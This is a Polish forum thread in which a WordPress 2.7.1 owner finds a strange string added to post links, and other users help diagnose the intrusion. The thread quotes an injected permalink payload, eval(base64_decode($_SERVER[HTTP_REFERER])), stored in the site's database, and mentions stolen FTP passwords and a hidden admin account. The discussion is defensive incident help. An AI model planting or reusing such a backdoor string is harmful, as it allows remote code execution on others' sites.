Problem z wordpress - dodatek do linków

[makaronz]

Witam!

Mam dwa precelki. No i pojawił się problem. Dzisiaj rano, lub wczoraj jakieś dziadostwo wkradło się i wszystko zepsuło. A mianowice do linków komentarz i tytułu wpisu jest dodawane takie coś:

%&(%7B$%7Beval(base64_decode($_SERVER[HTTP_REFERER]))%7D%7D%7C.+)&%/

Co to może być ? Proszę o pomoc.

Adres strony podam na PW.

Pozdawiam. Arek.

[pc3t]

Albo wgraj wordpressa na nowo, albo zobacz po dacie modyfikacji plików, które zostały zmienione.

Używasz total commandera - najwyższa pora zmienić albo usunąć hasła z ftp

[goszczu]

To się tak wyświetla czy ma taką formę w kodzie?

Tak jak napisał pc3t pewnie masz jakis syf na kompie, który wykrada hasła z ftp ;/

[makaronz]

To się tak wyświetla czy ma taką formę w kodzie?

Tak jak napisał pc3t pewnie masz jakis syf na kompie, który wykrada hasła z ftp ;/

link wyglada tak:

www.domena.pl/2009/09/02/p-2/%&(%7B$%7Beval(base64_decode($_SERVER[HTTP_REFERER]))%7D%7D%7C.+)&%/

zaden plik na serwerze nie zostal zmieniony...

[goszczu]

Próbowałeś takie kawałka szukać w bazie?

[makaronz]

Próbowałeś takie kawałka szukać w bazie?

jest!

wlasnie w bazie:

33 | 0 | permalink_structure | /%year%/%monthnum%/%day%/%postname% /%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ yes

dzieki

[mario1973]

wlasnie w bazie:

a co za wersje masz WP ? Jakie wtyczki ? To może sugerować jakąś dziurkę w skryptach.....

M

[makaronz]

wlasnie w bazie:

a co za wersje masz WP ? Jakie wtyczki ? To może sugerować jakąś dziurkę w skryptach.....

M

2.7.1 z:

Similar Posts,All in One SEO,Faster Image Insert,Lazyest Gallery,Tweaks,Video Quicktags,XML-Sitemap, Redirection i Seo smart links

Trzeci jest dokladnie taki sam, na tym samym serwerze, a nic mu sie nie stalo... To jest spam. Jeden z dwoch "zaatakowanych" to precel, drugi blog dla znajomych....

Moze wymyslisz czemu tak sie stalo...

Pozdrawiam

[Irek]

https://www.forum.optymalizacja.com/index.php?showtopic=77964

[makaronz]

https://www.forum.optymalizacja.com/index.php?showtopic=77964

o, dzieki nie znalazlem tego wczesniej.

u mnie zadnych nowych plikow nie bylo, ani innego admina. tylko dodatek w bazie.

pozdrawiam

[SirZooro]

Ten dodatkowy admin się ukrywa, sprawdź dokładnie . No chyba że masz wyłączone allow_url_fopen w php - wtedy raczej go nie będzie.